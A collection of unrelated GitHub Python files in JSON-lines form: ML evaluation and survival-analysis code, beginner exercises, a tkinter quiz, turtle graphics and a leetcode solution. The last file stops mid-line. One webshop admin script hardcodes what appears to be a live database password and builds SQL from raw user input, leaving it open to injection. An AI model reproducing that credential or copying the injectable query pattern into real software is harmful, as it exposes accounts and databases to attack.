instance\r\n device -- where to run computations (torch device object)\r\n dataloader -- a PyTorch dataloader instance\r\n \"\"\"\r\n\r\n images = []\r\n labels = []\r\n predictions = []\r\n model.eval()\r\n with torch.no_grad():\r\n for sample in dataloader:\r\n image = sample[0].to(device)\r\n label = sample[1].to(device)\r\n pred = model(image)\r\n images.append(image)\r\n labels.append(label)\r\n predictions.append(pred)\r\n images = torch.cat(images)\r\n labels = torch.cat(labels)\r\n predictions = torch.cat(predictions)\r\n correct = predictions.argmax(dim=1).eq(labels).sum()\r\n accuracy = correct*100/len(labels)\r\n print(f\"TEST ACCURACY: {accuracy: .2f}%\")\r\n return predictions\r\n\r\ndef plot_confusion_matrix(true, predicted, classes):\r\n \"\"\"Plots a heatmap-style confusion matrix. \r\n\r\n Parameters:\r\n true -- ground truth labels (array-like)\r\n predicted -- labels predicted by the model (array-like)\r\n classes -- the number of classes in the dataset (int)\r\n \"\"\"\r\n \r\n matrix = sklearn_confusion(true, predicted)\r\n plt.figure(figsize=(12,10))\r\n plt.imshow(matrix, interpolation = 'nearest', cmap ='Reds')\r\n matrix_cells = product(range(matrix.shape[0]), range(matrix.shape[1]))\r\n for row_index, column_index in matrix_cells:\r\n plt.text(x=row_index, \r\n y=column_index, \r\n s=matrix[row_index][column_index],\r\n horizontalalignment=\"center\",\r\n verticalalignment=\"center\",\r\n color=\"white\" if row_index == column_index else \"black\")\r\n ticks = np.arange(classes)\r\n plt.xticks(ticks)\r\n plt.yticks(ticks)\r\n plt.xlabel(\"Predicted label\")\r\n plt.ylabel(\"True label\")\r\n plt.title(\"Test confusion matrix\")\r\n plt.colorbar()\r\n return matrix\r\n\r\ndef plot_incorrect(dataset, confusion_matrix, classes):\r\n \"\"\"Creates a bar chart of test mistakes per class.\r\n \r\n Parameters:\r\n dataset -- a PyTorch dataset\r\n confusion_matrix -- a confusion matrix (2darray)\r\n classes -- the number of classes in the dataset (int)\r\n \"\"\"\r\n\r\n bins = dataset.targets.bincount()\r\n incorrect = [bins[i] - confusion_matrix[i][i] for i in range(len(bins))] \r\n bars = np.arange(classes) \r\n plt.figure(figsize=(12,8))\r\n plt.bar(bars, incorrect)\r\n plt.xticks(bars)\r\n plt.ylabel(\"Incorrectly classified\")\r\n plt.title(\"Number of mistakes per class\")\r\n plt.grid(axis=\"y\")\r\n plt.show()\r\n\r\ndef visualize_filter(layer_filters, filter_index, reshape_dims):\r\n \"\"\"Plots filter (i.e., kernel) values on a grayscale.\r\n \r\n Parameters:\r\n layer_filters -- a PyTorch tensor to index into\r\n filter_index -- the index of the desired filter (int)\r\n reshape_dims -- list of output dimensions for the filters tensor\r\n \"\"\"\r\n\r\n filter = layer_filters[:,filter_index,:,:]\r\n filter = filter.reshape(reshape_dims[0],\r\n reshape_dims[1],\r\n reshape_dims[2],\r\n reshape_dims[3]) # 4 5 5 5\r\n _, axs = plt.subplots(4,5,figsize=(12,8))\r\n for i in range(filter.shape[0]):\r\n for j in range(filter.shape[1]):\r\n axs[i][j].imshow(filter[i][j], cmap=\"gray\") \r\n axs[i][j].set_xticks([])\r\n axs[i][j].set_yticks([])\r\n plt.show()\r\n","repo_name":"matteo-d-m/python-course-cimec","sub_path":"matteos_module.py","file_name":"matteos_module.py","file_ext":"py","file_size_in_byte":12970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"17248794018","text":"import os\nos.system(\"cls\")\n\nmatriz = [[],[],[]]\n\nfor linha in range(3):\n for coluna in range(3):\n matriz[linha].append(int(input(f\"Digite o valor para linha {linha} e coluna {coluna}: \")))\n\n\nfor linha in range(3):\n for coluna in range(3):\n print(f\"[{matriz[linha][coluna]:^3}]\", end=\"\") #:^3 é a quantidade de espaço dentro do colchetes\n print() #para pular as linhas\n ","repo_name":"camilacirne/learning-python","sub_path":"comandoMatrizes.py","file_name":"comandoMatrizes.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"11122319025","text":"\nfrom tkinter.font import nametofont\n\n\ndef additoin(x, y):\n x = 10\n y = 20\n print(\"Addition:\", x + y)\n\n \ntry :\n additoin(10, 20)\nexcept NameError:\n print (\"b could not be found try another one..\") \nelse :\n (\"the operation is successful\")\n","repo_name":"raalshcs/LAB_EXCEPTIONS","sub_path":"exceptionsLab.py","file_name":"exceptionsLab.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"11"} +{"seq_id":"9925814910","text":"import gc\n\n\nclass Node(object):\n\n def __init__(self, data):\n self.data = data\n self.parent = None\n self.children = []\n\n def add_child(self, child):\n self.children.append(child)\n child.parent = self\n\n def __del__(self):\n print ('__del__',self)\n\nn1 = Node(1)\nn2 = Node(2)\nprint (n1, n2)\nprint('-1'*10)\n\nn1.add_child(n2)\ndel n1\ndel n2\nprint('-2'*10)\n\ngc.collect()\nprint('-3'*10)\n\n# 64\nprint(gc.garbage)\nprint('-4'*10)","repo_name":"xzhdream/python-lib","sub_path":"weakref-/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"37490333771","text":"import psycopg2\n\n# MERK: Må kjøres med Python 3\n\nuser = 'yauhenk' # Sett inn ditt UiO-brukernavn (\"_priv\" blir lagt til under)\npwd = 'eaCh2ay5oh' # Sett inn passordet for _priv-brukeren du fikk i en mail\n\nconnection = \\\n \"dbname='\" + user + \"' \" + \\\n \"user='\" + user + \"_priv' \" + \\\n \"port='5432' \" + \\\n \"host='dbpg-ifi-kurs.uio.no' \" + \\\n \"password='\" + pwd + \"'\"\n\n\ndef administrator():\n conn = psycopg2.connect(connection)\n \n ch = 0\n while (ch != 3):\n print(\"-- ADMINISTRATOR --\")\n print(\"Please choose an option:\\n 1. Create bills\\n 2. Insert new product\\n 3. Exit\")\n ch = int(input(\"Option: \"))\n\n if (ch == 1):\n make_bills(conn)\n elif (ch == 2):\n insert_product(conn)\n\n\ndef make_bills(conn):\n cur = conn.cursor()\n\n print('-- BILLS --')\n\n username = input('Username: ')\n\n if username == '':\n sub_query = ''\n else:\n sub_query = f\"username LIKE '{username}' AND\"\n\n query = f\"SELECT bills.name, bills.address, SUM(bills.ordersum) as total \" \\\n f\"FROM \" \\\n f\"(SELECT ws.users.uid, ws.users.name, address, ws.orders.oid, ws.orders.num * ws.products.price as ordersum \" \\\n f\"FROM ws.users \" \\\n f\"INNER JOIN ws.orders ON ws.users.uid = ws.orders.uid \" \\\n f\"INNER JOIN ws.products ON ws.orders.pid = ws.products.pid \" \\\n f\"WHERE {sub_query} payed = 0) \" \\\n f\"AS bills \" \\\n f\"GROUP BY bills.name, bills.address;\"\n\n cur.execute(query)\n rows = cur.fetchall()\n\n for row in rows:\n print('--- Bill ---')\n print(f'Name: {row[0]}\\nAddress: {row[1]}\\nTotal due: {row[2]}')\n print(' ')\n\n cur.close()\n\n\ndef _get_category_id(conn, name):\n cur = conn.cursor()\n cat_q = f\"SELECT cid FROM ws.categories WHERE name LIKE '{name}';\"\n cur.execute(cat_q)\n cat_rows = cur.fetchall()\n cur.close()\n\n if len(cat_rows) > 0:\n return cat_rows[0][0]\n else:\n return None\n\n\ndef _insert_category(conn, name):\n cur = conn.cursor()\n cur.execute(f\"INSERT INTO ws.categories(name) VALUES ('{name}') RETURNING cid;\")\n conn.commit()\n rows = cur.fetchall()\n cur.close()\n return rows[0][0]\n\n\ndef insert_product(conn):\n print('-- INSERT NEW PRODUCT --')\n product_name = input('Product name: ')\n product_price = input('Price: ')\n category_name = input('Category: ')\n description = input('Dedcription: ')\n\n cat_id = _get_category_id(conn, category_name)\n if cat_id is None:\n cat_id = _insert_category(conn, category_name)\n\n cur = conn.cursor()\n\n cur.execute(f\"INSERT INTO ws.products(name, price, cid, description) VALUES ('{product_name}', {product_price},\"\n f\"{cat_id}, '{description}')\")\n\n conn.commit()\n cur.close()\n\n print(f'New product {product_name} inserted.')\n\n\nif __name__ == \"__main__\":\n administrator()\n","repo_name":"hutor04/UiO","sub_path":"in2090/oblig5/webshop-python/administrator_yauhenk.py","file_name":"administrator_yauhenk.py","file_ext":"py","file_size_in_byte":2923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"7592732363","text":"import tkinter as tk\nfrom random import shuffle\nfrom random import randint\n\nf=open(u\"questions.txt\",'r') #достать вопросы из файла\narr=f.readlines()\nf.close()\nray=[]\nh=0\nfor i in range(0,len(arr),5):\n ray.append([])\n for j in range(4):\n ray[h].append(arr[i+j])\n ray[h][j]=ray[h][j][:-1]\n h=h+1\narr.clear()\n\nfor i in range(len(ray)): #перемешивание ответов\n arr.append([])\n for j in range(1,4):\n arr[i].append(ray[i][j])\n shuffle(arr[i])\n ray[i][1]=arr[i][0]\n ray[i][2]=arr[i][1]\n ray[i][3]=arr[i][2]\n\nfrs=[]\nsnd=[]\nthrd=[]\nfor i in ray: #перемешивание вопросов\n b=randint(1,3)\n if b==1:\n frs.append(i)\n if b==2:\n snd.append(i)\n if b==3:\n thrd.append(i)\n\nnum_questions=len(frs)+len(snd)+len(thrd)\nque=frs+snd+thrd\n\nanswer=[] #список номеров верных ответов\nfor q in que:\n for w in q:\n if w[-1]==\"@\":\n answer.append(q.index(w))\nquest=[]\ni=1\nfor n in range(num_questions):\n que[n][0]=str(i)+\".\"+que[n][0] #нумерация вопросов\n for j in range(len(que[n])):\n if que[n][j][-1]==\"@\": #убрать метку правильного ответа\n que[n][j]=que[n][j][:-1]\n quest.append((que[n], answer[n]))\n for j in range(1,4):\n quest[n][0][j]=str(j)+\")\"+quest[n][0][j] #нумерация вариантов ответов\n i+=1\n\nnumdom=len(quest)\nuser=[]\nscore=0\nnum=0\ndef d1():\n global num, score, entry\n if num==numdom: \n entry.pack_forget()\n die.destroy()\n text['bg']='bisque'\n text['height']=12\n text.delete(\"1.0\",tk.END)\n for i in range(len(user)): #вывод результатов тестирования\n user[i]=quest[i][0][0]+\" \"+user[i]+\"\\n\"\n text.insert(tk.END,user[i])\n \n score=round(score/num*100,2)\n button['text']=f\"Процент выполнения: {score}%\\n Нажмите,чтобы закрыть это окно\"\n button['command']=game_over\n button.pack()\n root.focus()\n return\n if num==0:\n answer_widget()\n text['height']=7\n text['bg']='bisque'\n text['width']=56\n text.delete(\"1.0\",tk.END)\n text.insert(\"1.0\",'\\n'.join(quest[num][0])+\"\\n\\nВыберите правильный ответ:\")\n button.pack_forget()\n num+=1\n\ndef game_over(): #функция закрытия графического интерфейса\n root.destroy()\n\ndef answer_widget(): #функция обработки ввода пользователя\n global entry\n entry=tk.Entry(root,textvariable=solution,width=3,bg=\"gold\",font=\"Arial 20\")\n entry.pack()\n entry.bind(\"\", lambda x: check())\n entry.focus()\n\ndef empty_textbox(): #функция очистки текстового поля\n solution.set(\"\")\n d1()\n\ndef check(): #функция проверки введённого ответа\n global n, score\n text.delete(\"1.0\",tk.END)\n if solution.get()==str(quest[num-1][1]):\n user.append(\"| +\")#список ответов пользователя\n text.insert(tk.END, \"Верно!\")\n score+=1\n text['bg']=\"green\"\n else:\n user.append(\"| -\")#список ответов пользователя\n text.insert(tk.END,\"Ошибка!\")\n text['bg']=\"red\"\n \n sc=\"\\nПравильных ответов: \"+str(score)+\"\\n\"\n label['text']=sc\n text.after(800,empty_textbox)\n\nroot=tk.Tk()\nroot.title(\"Богданов М.Д. 19-ИЭ-1\")\n\nheading=\"\"\"Тест по дисциплине: программирование\nНазвание темы: структуры данных, словари в Python,\nоперации со словарями и методы словарей\"\"\"\nlabel=tk.Label(root,text=heading,font=\"Arial 18\",justify=\"left\")\nlabel.pack()\n\nrules=\"\"\"Отвечайте на вопросы\n\nНажмите на кнопку ниже чтобы начать\nВы увидите вопрос\nВведите вариант ответа и нажмите Enter\n\"\"\"\ntext=tk.Text(root,height=6,width=56,font=\"Arial 20\")\ntext.insert(\"1.0\",rules)\ntext.pack()\n\ndie=tk.Button(root,height=1,width=3,text=\"X\",command=game_over,bg=\"tomato\",font=\"Arial 12\")\ndie.place(x=0,y=0)\n\nbutton=tk.Button(root,text=\"Нажмите, чтобы начать\",bg=\"grey87\",command=d1,font=\"Arial 18\")\nbutton.pack()\n\nsolution=tk.StringVar()\n\nroot.mainloop()\n","repo_name":"MickyLangello/sem2_practika","sub_path":"Testirovanie.py","file_name":"Testirovanie.py","file_ext":"py","file_size_in_byte":4547,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"19346512511","text":"from django.conf.urls import include, url\nfrom django.contrib.auth import views as auth_views\n\nimport views\n\nurlpatterns = [\n url(r'^$', views.index),\n url(r'^proposals', views.proposals),\n url(r'^help', views.help),\n url(r'^signup', views.signup),\n url(r'^support/(?P\\d+)/(?P\\d+)', views.support),\n url(r'^user_is_supporting/(?P\\d+)/(?P\\d+)', views.user_is_supporting),\n url(r'^user_can_support/(?P\\d+)/(?P\\d+)', views.user_can_support),\n url(r'^get_remaining_budget/(?P\\d+)', views.get_remaining_budget),\n\n url('^login$', auth_views.login, {'template_name': 'signup_login.html'}),\n url('^logout', auth_views.logout, {'template_name': 'signup_login.html'}),\n]","repo_name":"guydav/django-projects","sub_path":"predict/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"18589137454","text":"'''\nExplanation\nTime complexity: O((1+26)*26/2*800), there will be (1+26)*26/2 = 351 for loops, on average there will be a 10000/26*2 ~= 800 length on two pointers walk. In total we are looking at a scale of O(1e5), which is approximately O(N)\nSee below for more explanation\nImplementation\nhttps://leetcode.com/problems/substring-with-largest-variance/discuss/2042949/python-3-kadanes-algorithm-two-pointers-explanation\nhttps://leetcode.com/problems/substring-with-largest-variance/\n'''\n\nimport collections\nimport string\nclass S:\n\n def largestVariance(self, s):\n d = collections.defaultdict(list)\n\n for i, c in enumerate(s): # for each letter, create a list of its indices\n d[c].append(i)\n\n print(d)\n ans = 0\n for x, chr1 in enumerate(string.ascii_lowercase): # character 1\n for chr2 in string.ascii_lowercase[x+1:]: # character 2\n if chr1 == chr2 or chr1 not in d or chr2 not in d:\n continue\n prefix = i = p1 = p2 = 0\n hi = hi_idx = lo = lo_idx = 0\n n1, n2 = len(d[chr1]), len(d[chr2])\n while p1 < n1 or p2 < n2:\n if p1 < n1 and p2 < n2:\n if d[chr1][p1] < d[chr2][p2]:\n prefix, p1 = prefix + 1, p1 + 1\n else:\n prefix, p2 = prefix-1, p2 + 1\n elif p1 < n1:\n prefix, p1 = prefix+1, p1+1\n else:\n prefix, p2 = prefix-1, p2+1\n if prefix > hi:\n hi, hi_idx = prefix, i\n if prefix < lo:\n lo, lo_idx = prefix, i\n ans = max(ans, min(prefix-lo, i-lo_idx-1))\n ans = max(ans, min(hi-prefix, i-hi_idx-1))\n i += 1\n return ans\n\ns = \"aababbb\"\nprint(S().largestVariance(s))\n\n","repo_name":"saisai/exercises","sub_path":"algorithms/leetcode/leetcoder/idontknoooo/substring-with-largest-variance/substring-with-largest-variance-idontknoooo.py","file_name":"substring-with-largest-variance-idontknoooo.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"9626775775","text":"import turtle\nimport math\n\n# 1. Write a function called square that takes a parameter named t, which is a\n# turtle. It should use the turtle to draw a sqare.\n#\n# Write a function call that passes bob as an argument to square, and then run\n# the program again.\n\n# 2. Add another parameter, named length, to square. Modify the body so length\n# of the sides is length, and then modify the function call to provide a second\n# argument. Run the program again. Test your program with a range of values for\n# length.\ndef square(t, length):\n for i in range(4):\n t.fd(length)\n t.lt(90)\n\n# 3. Make a copy of square and change the name to polygon. Add another parameter\n# named n and modify the body so it draws an n-sided regular polygon. Hint: The\n# exterior angles of an n-sided regular polygon are 360/n degrees.\ndef polygon(t, n, length):\n for i in range(n):\n t.fd(length)\n t.lt(360 / n)\n\n# 4. Write a function called circle that takes a turtle, t, and radius, r, as\n# parameters and that draws an approximate circle by calling polygon with an\n# appropriate length and number of sides. Test your function with a range of\n# values of r.\n# Hint: figure out the circumference of the circle and make sure that\n# length * n = circumference\ndef circle(t, r):\n circumference = 2 * math.pi * r\n length = circumference / 360\n polygon(t, 360, length)\n\n# 5. Make a more general version of circle called arc that takes an additional\n# parameter angle, which determines what fraction of a circle to draw. angle is\n# in units of degrees, so when angle=360, arc should draw a complete circle.\ndef arc(t, r, angle):\n circumference = 2 * math.pi * r\n length = circumference / angle\n for i in range(angle):\n t.fd(length)\n t.lt(1)\n\nbob = turtle.Turtle()\n\n# Test 1:\n#square(bob, 100)\n\n# Test 2:\n#for i in range(3, 10):\n# polygon(bob, i, 100)\n\n# Test 3:\n#circle(bob, 50)\n#circle(bob, 100)\n\n# Test 4 (produces Golden Spiral as well):\narc(bob, 10, 180)\narc(bob, 20, 180)\narc(bob, 30, 180)\narc(bob, 50, 180)\narc(bob, 80, 180)\narc(bob, 130, 180)\narc(bob, 210, 180)\narc(bob, 340, 180)\n\nturtle.mainloop()\n","repo_name":"ixAp0c/thinking-python","sub_path":"4-section3.py","file_name":"4-section3.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"29876452769","text":"import asyncio\nfrom functools import partial\n\nimport os\nfrom pymunk import Vec2d\n\nfrom mechanic.constants import TICKS_TO_DEADLINE, REST_TICKS\nfrom mechanic.game_objects.base_car import Car\nfrom mechanic.game_objects.deadline import DeadLine\n\n\nclass Match:\n def __init__(self, map, car, players, space):\n self.ticks_to_deadline = TICKS_TO_DEADLINE\n self.map = map\n self.car = car\n self.players = players\n self.map_objects = map(space).get_objects_for_space()\n self.cars_objects = []\n self.deadline = DeadLine(DeadLine.ASC, 1200, 800)\n\n self.map_objects.append(self.deadline.get_object_for_space())\n self.dead_players = set()\n\n self.is_rest = False\n self.rest_counter = 0\n\n self.match_log = []\n\n for index, player in enumerate(self.players):\n if (index + 1) % 2:\n c = car(player.get_game_id(), Car.RIGHT_DIRECTION, space.point_query_nearest)\n self.cars_objects.extend(c.get_objects_for_space_at(Vec2d(300, 300)))\n else:\n c = car(player.get_game_id(), Car.LEFT_DIRECTION, space.point_query_nearest)\n self.cars_objects.extend(c.get_objects_for_space_at(Vec2d(900, 300)))\n\n co = space.add_wildcard_collision_handler(c.get_button_collision_type())\n co.begin = partial(self.lose_callback, player)\n player.set_car(c)\n\n @asyncio.coroutine\n def apply_turn_wrapper(self, player, game_tick):\n if not self.is_rest:\n yield from player.apply_turn(game_tick)\n\n @asyncio.coroutine\n def tick(self, game_tick):\n if not self.is_rest and self.smbd_die():\n self.rest_counter = REST_TICKS\n self.is_rest = True\n\n if self.rest_counter > 0:\n self.rest_counter -= 1\n\n yield from self.send_tick(game_tick)\n futures = []\n for p in self.players:\n futures.append(asyncio.ensure_future(self.apply_turn_wrapper(p, game_tick)))\n if futures:\n yield from asyncio.wait(futures)\n\n if self.ticks_to_deadline < 1:\n self.deadline.move()\n else:\n self.ticks_to_deadline -= 1\n\n def get_objects_for_space(self):\n return self.map_objects + self.cars_objects\n\n def get_players_lives(self, player=None):\n if player:\n myself = player.lives\n enemy = None\n for p in self.players:\n if player != p:\n enemy = p.lives\n break\n return myself, enemy\n else:\n return {p.id: p.lives for p in self.players}\n\n def get_players_car(self, player=None):\n if player:\n my = player.car.fast_dump()\n enemy = None\n\n for p in self.players:\n if p != player:\n enemy = p.car.fast_dump()\n break\n return my, enemy\n else:\n return {p.id: p.car.fast_dump(visio=True) for p in self.players}\n\n @asyncio.coroutine\n def send_new_match_message(self):\n proto_map = self.map.get_proto()\n proto_car = self.car.proto_dump()\n\n self.match_log.append({\n 'type': 'new_match',\n 'params': {\n 'lives': self.get_players_lives(),\n 'proto_map': proto_map,\n 'proto_car': proto_car\n }\n })\n\n for p in self.players:\n my_lives, enemy_lives = self.get_players_lives(p)\n yield from p.send_message('new_match', {\n 'my_lives': my_lives,\n 'enemy_lives': enemy_lives,\n 'proto_map': proto_map,\n 'proto_car': proto_car,\n })\n\n @asyncio.coroutine\n def send_tick(self, game_tick):\n self.match_log.append({\n 'type': 'tick',\n 'params': {\n 'cars': self.get_players_car(),\n 'deadline_position': self.deadline.get_position(),\n 'tick_num': game_tick\n }\n })\n\n if not self.is_rest:\n for p in self.players:\n my_car, enemy_car = self.get_players_car(p)\n yield from p.send_message('tick', {\n 'my_car': my_car,\n 'enemy_car': enemy_car,\n 'deadline_position': self.deadline.get_position()\n })\n\n def lose_callback(self, player, arbiter, space, _):\n if not self.is_rest:\n self.dead_players.add(player)\n player.car.die()\n return False\n\n def smbd_die(self):\n return bool(self.dead_players)\n\n def is_match_ended(self):\n return self.rest_counter == 0 and bool(self.dead_players) and self.is_rest\n\n def end_match(self):\n for p in self.dead_players:\n p.die()\n return self.match_log\n","repo_name":"MailRuChamps/miniaicups","sub_path":"madcars/Runners/mechanic/match.py","file_name":"match.py","file_ext":"py","file_size_in_byte":4894,"program_lang":"python","lang":"en","doc_type":"code","stars":159,"dataset":"github-code","pt":"11"} +{"seq_id":"299555761","text":"import copy\n\nfrom Node import Node\nfrom Table import Table\n\n\nclass ParserOutput:\n def __init__(self, parser):\n self.parser = parser\n self.parser.ColCan()\n\n def ActionShift(self, config):\n alpha, beta, phi = config\n head = copy.deepcopy(beta[0])\n s_m = copy.deepcopy(alpha[-1])\n S_j = copy.deepcopy(self.parser.table[s_m][head])\n alpha.append(head)\n alpha.append(S_j)\n del beta[0]\n\n def ActionReduce(self, config):\n alpha, beta, phi = config\n s_m = copy.deepcopy(alpha[-1])\n I = self.parser.table[s_m][\"action\"]\n move = self.parser.gramatica_imbogatita.getProductionIndex(I)\n A = move[0][0]\n result = move[1]\n index = len(result) - 1\n index_alpha = len(alpha) - 1\n ok = True\n while index >= 0:\n index_alpha = index_alpha - 1\n if index_alpha < 0:\n ok = False\n break\n x_m = alpha[index_alpha]\n index_alpha = index_alpha - 1\n if x_m != result[index]:\n ok = False\n break\n index = index - 1\n if not ok:\n raise \"error\"\n # alpha = alpha[:index_alpha + 1]\n del alpha[index_alpha + 1:]\n s_m_p = index_alpha\n s_j = self.parser.table[alpha[index_alpha]][A]\n alpha.append(A)\n alpha.append(s_j)\n phi.insert(0, I)\n\n def IsAccepted(self, word):\n try:\n alpha = [0]\n beta = word\n phi = list()\n while True:\n s_m = alpha[-1]\n action = self.parser.table[s_m][\"action\"]\n if action == \"shift\":\n self.ActionShift([alpha, beta, phi])\n elif action == \"acc\" and beta==[]:\n print(\"Great success\")\n return phi\n else:\n self.ActionReduce([alpha, beta, phi])\n except:\n print(\"Not great success\")\n return\n\n def parseProductions(self, productions):\n # terms = []\n table = Table()\n table.add(Node(productions[0][0][0], -1, -1))\n # first iteration\n for child_index in range(len(productions[0][1])):\n if child_index == 0:\n table.add(Node(productions[0][1][child_index], 0, -1))\n else:\n table.add(\n Node(productions[0][1][child_index], 0, table.getIndexOfInfo(productions[0][1][child_index - 1])))\n\n for production in productions[1:]:\n current = production[0][0]\n children = production[1]\n parentIndex = table.getIndexOfInfo(current)\n for child_index in range(len(children)):\n if child_index == 0:\n table.add(Node(children[0], parentIndex, -1))\n else:\n table.add(Node(children[child_index], parentIndex, table.getIndexOfInfo(children[child_index - 1])))\n return table\n","repo_name":"CosminHolcan/FLCD","sub_path":"Lab7/ParserOutput.py","file_name":"ParserOutput.py","file_ext":"py","file_size_in_byte":3034,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"18238808089","text":"from math import sqrt, ceil\nfrom collections import defaultdict\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport torch\nimport os\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader, TensorDataset\nfrom torch.optim import Adam\nfrom sklearn.model_selection import KFold, train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.metrics import brier_score_loss, roc_auc_score, recall_score,roc_curve, auc\nfrom lifelines import CoxPHFitter, KaplanMeierFitter\nfrom lifelines.utils import concordance_index\nfrom tqdm import tqdm, trange\nimport pickle\nfrom torchmtlr import (MTLR, mtlr_neg_log_likelihood,mtlr_survival, mtlr_survival_at_times,mtlr_risk)\nfrom torchmtlr.utils import (make_time_bins, encode_survival,make_optimizer)\ntorch.backends.cudnn.deterministic = True\ntorch.backends.cudnn.benchmark = False\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\nsns.set(context=\"poster\", style=\"white\")\nplt.rcParams[\"figure.figsize\"] = (10, 7)#设置图的尺寸\n\ndef normalize(data, mean=None, std=None, skip_cols=[]):\n \"\"\"将 Pandas DataFrame 的列归一化为零均值和单位标准差\"\"\"\n if mean is None:\n mean = data.mean(axis=0)\n if std is None:\n std = data.std(axis=0)\n if skip_cols is not None:\n mean[skip_cols] = 0\n std[skip_cols] = 1\n return (data - mean) / std, mean, std\ndef reset_parameters(model):\n \"\"\"重置 PyTorch 模块及其子模块的参数\"\"\"\n for m in model.modules():\n try:\n m.reset_parameters()\n except AttributeError:\n continue\n return model\n# training functions\ndef train_mtlr(model, data_train, time_bins,\n num_epochs=1000, lr=.01, weight_decay=0.,\n C1=1., batch_size=None,\n verbose=True, device=\"cpu\"):\n \"\"\"使用小批量梯度下降训练 MTLR 模型\"\"\"\n x = torch.tensor(data_train.drop([\"time\", \"event\"], axis=1).values, dtype=torch.float)\n y = encode_survival(data_train[\"time\"].values, data_train[\"event\"].values, time_bins)\n optimizer = make_optimizer(Adam, model, lr=lr, weight_decay=weight_decay)\n reset_parameters(model)\n model = model.to(device)\n model.train()\n train_loader = DataLoader(TensorDataset(x, y), batch_size=batch_size, shuffle=True)\n pbar = trange(num_epochs, disable=not verbose)\n for i in pbar:\n for xi, yi in train_loader:\n xi, yi = xi.to(device), yi.to(device)\n y_pred = model(xi)\n loss = mtlr_neg_log_likelihood(y_pred, yi, model, C1=C1, average=True)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n pbar.set_description(f\"[epoch {i+1: 4}/{num_epochs}]\")\n pbar.set_postfix_str(f\"loss = {loss.item():.4f}\")\n model.eval()\n return model\ndef train_mtlr_cv(model, data_train, time_bins, cv=3, C1_vals=None, verbose=True, device=\"cpu\", **kwargs):\n \"\"\"使用小批量梯度下降训练 MTLR 模型,通过 K 折交叉验证确定最佳 L2 正则化强度\"\"\"\n if C1_vals is None:\n C1_vals = np.logspace(-2, 3, 6)\n kfold = KFold(n_splits=cv)\n nll_vals = defaultdict(list)\n for C1 in C1_vals:\n pbar = tqdm(kfold.split(data_train),\n total=cv,\n disable=not verbose,\n desc=f\"testing C1 = {C1:9}\")\n for train_idx, val_idx in pbar:\n train_fold, val_fold = data_train.iloc[train_idx], data_train.iloc[val_idx]\n time_val, event_val = data_train.iloc[val_idx][\"time\"].values, data_train.iloc[val_idx][\"event\"].values\n x_val = torch.tensor(val_fold.drop([\"time\", \"event\"], axis=1).values,\n dtype=torch.float, device=device)\n y_val = encode_survival(time_val, event_val, time_bins).to(device)\n model = train_mtlr(model, train_fold, time_bins, C1=C1, device=device, verbose=False, **kwargs)\n with torch.no_grad():\n val_nll = mtlr_neg_log_likelihood(model(x_val), y_val, model, C1=C1)\n nll_vals[C1].append(val_nll.item())\n pbar.set_postfix_str(f\"val nll = {val_nll.item():.2f}\")\n # Choose regularization parameter with the lowest negative log-likelihood\n best_C1 = min(nll_vals, key=lambda k: sum(nll_vals[k]) / cv)\n if verbose:\n print(f\"training with C1 = {best_C1}\")\n model = train_mtlr(model, data_train, time_bins, C1=best_C1, device=device, verbose=verbose, **kwargs)\n return model\ndef plot_weights(weights, time_bins, feature_names):\n \"\"\"Plot MTLR model parameters over time.\"\"\"\n top_idxs = torch.argsort(weights.abs().sum(1), descending=True)[:10]\n fig, ax = plt.subplots()\n for i in top_idxs:\n ax.plot(np.pad(time_bins, (1, 0))[:-1], weights[i], label=feature_names[i])\n ax.set_xlabel(\"Time (days)\")\n ax.set_ylabel(\"Weight\")\n ax.axhline(0, c=\"k\", linestyle=\"--\")\n fig.legend()\n return ax\ndef compute_metric_at_times(metric, time_true, prob_pred, event_observed, score_times):\n \"\"\"在给定时间点评估指标的辅助函数.\"\"\"\n scores = []\n for time, pred in zip(score_times, prob_pred.T):\n target = time_true > time\n uncensored = target | event_observed.astype(bool)\n scores.append(metric(target[uncensored], pred[uncensored]))\n return scores\ndef brier_score_at_times(time_true, prob_pred, event_observed, score_times):\n scores = compute_metric_at_times(brier_score_loss,time_true,prob_pred,event_observed,score_times)\n return scores\ndef roc_auc_at_times(time_true, prob_pred, event_observed, score_times):\n scores = compute_metric_at_times(roc_auc_score,time_true,prob_pred, event_observed,score_times)\n return scores\ndef recall_at_times(time_true, prob_pred, event_observed, score_times):\n scores = compute_metric_at_times(recall_score,time_true,prob_pred, event_observed,score_times)\n return scores\npath = './feature/'\ndata_train = pd.read_excel(os.path.join(path,'train.xlsx'))\ndata_test = pd.read_excel(os.path.join(path,'test.xlsx'))\ndata_val = pd.read_excel(os.path.join(path,'val.xlsx'))\neval_times = np.quantile(data_train.loc[data_train[\"event\"] == 1, \"time\"], [.17, .48, .72, 0.84, .925]).astype(np.int)\nmetrics = []\ndata_train, mean_train, std_train = normalize(data_train, skip_cols=[\"time\", \"event\"])\ndata_test, *_ = normalize(data_test, mean=mean_train, std=std_train, skip_cols=[\"time\", \"event\"])\ndata_val, *_ = 